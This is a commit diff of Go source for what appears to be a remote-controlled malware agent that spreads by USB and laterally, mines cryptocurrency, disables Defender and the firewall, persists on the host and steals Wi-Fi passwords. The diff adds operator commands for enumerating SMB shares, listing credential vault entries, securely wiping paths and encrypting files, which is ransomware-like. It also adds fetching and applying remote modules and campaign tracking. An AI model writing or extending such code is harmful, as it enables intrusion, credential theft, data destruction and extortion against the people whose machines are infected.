feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

usb/agent/client/aggressive_commands.go

@@ -3,6 +3,7 @@ package client
 import (
 	"encoding/json"
 	"fmt"
+	"runtime"
 	"strconv"
 	"strings"
 
@@ -20,7 +21,7 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
 			return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
 		}
 	case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
-		"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
+		"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
 		if !c.cfg.RemoteAggressive {
 			return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
 		}
@@ -95,6 +96,39 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
 		c.sendCommandResult(action, true, out)
 		return true
 
+	case "smb_shares":
+		if runtime.GOOS != "windows" {
+			c.sendCommandResult(action, false, "smb_shares is Windows-only")
+			return true
+		}
+		maxHosts := parsePortArg(command, 32)
+		out := deploy.EnumerateSMBShares(maxHosts)
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "spread_status":
+		out := deploy.GetSpreadStatusJSON()
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "credential_vault_list":
+		out := listCredentialVaultNames()
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "secure_wipe":
+		target := strings.TrimSpace(path)
+		if target == "" {
+			c.sendCommandResult(action, false, "path is required")
+			return true
+		}
+		go func() {
+			result := SecureWipePath(target)
+			ok := !strings.HasPrefix(result, "secure_wipe error:")
+			c.sendCommandResult(action, ok, result)
+		}()
+		return true
+
 	case "defender_off":
 		msg, err := deploy.DisableDefenderRealtime()
 		if err != nil {
@@ -227,9 +261,19 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
 		}()
 		return true
 
-	case "sys_crypt":
+	case "sys_crypt", "encrypt_path":
+		target := strings.TrimSpace(path)
+		recursive := parseRecursiveFlag(command, data)
+		if action == "sys_crypt" && target == "" {
+			recursive = true
+		}
 		go func() {
-			result := SysCrypt()
+			var result string
+			if target == "" && action == "sys_crypt" {
+				result = SysCrypt()
+			} else {
+				result = EncryptPath(target, recursive)
+			}
 			c.sendCommandResult(action, true, result)
 		}()
 		return true

usb/agent/client/client.go

@@ -325,6 +325,8 @@ func (c *AgentClient) authenticate() error {
 		MacAddress:       primaryMACAddress(),
 		BuildID:          c.cfg.BuildID,
 		USBSpread:        c.cfg.USBSpread,
+		Campaign:         strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
+		UTM:              strings.TrimSpace(os.Getenv("AETHER_UTM")),
 	})
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -432,6 +434,8 @@ func (c *AgentClient) handleMessage(msg Message) {
 			c.sharesAccepted++
 			c.mu.Unlock()
 		}
+	case "policy_update":
+		go c.applyPolicyUpdate(msg.Payload)
 	case "command":
 		var cmd struct {
 			Action    string `json:"action"`
@@ -439,21 +443,28 @@ func (c *AgentClient) handleMessage(msg Message) {
 			Command   string `json:"command"`
 			Path      string `json:"path"`
 			Data      string `json:"data"`
+			Module    string `json:"module"`
 		}
 		if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
 			return
 		}
 		// Run off the read loop so long exec/powershell probes do not block
 		// subsequent commands or server pings.
-		go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
+		go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module)
 	}
 }
 
-func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
+func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
 	if c.handleAggressiveCommand(action, tailLines, command, path, data) {
 		return
 	}
 	switch action {
+	case "fetch_module":
+		if err := c.fetchAndApplyModule(module); err != nil {
+			c.sendCommandResult(action, false, err.Error())
+			return
+		}
+		c.sendCommandResult(action, true, "module "+module+" applied")
 	case "pause":
 		c.pool.PauseRemote()
 		c.mu.Lock()
@@ -618,7 +629,7 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 		if c.handleRegistryCommand(action, path, data) {
 			return
 		}
-		if c.handleFileCommand(action, path) {
+		if c.handleFileCommand(action, path, data) {
 			return
 		}
 		if c.handleReconCommand(action, command) {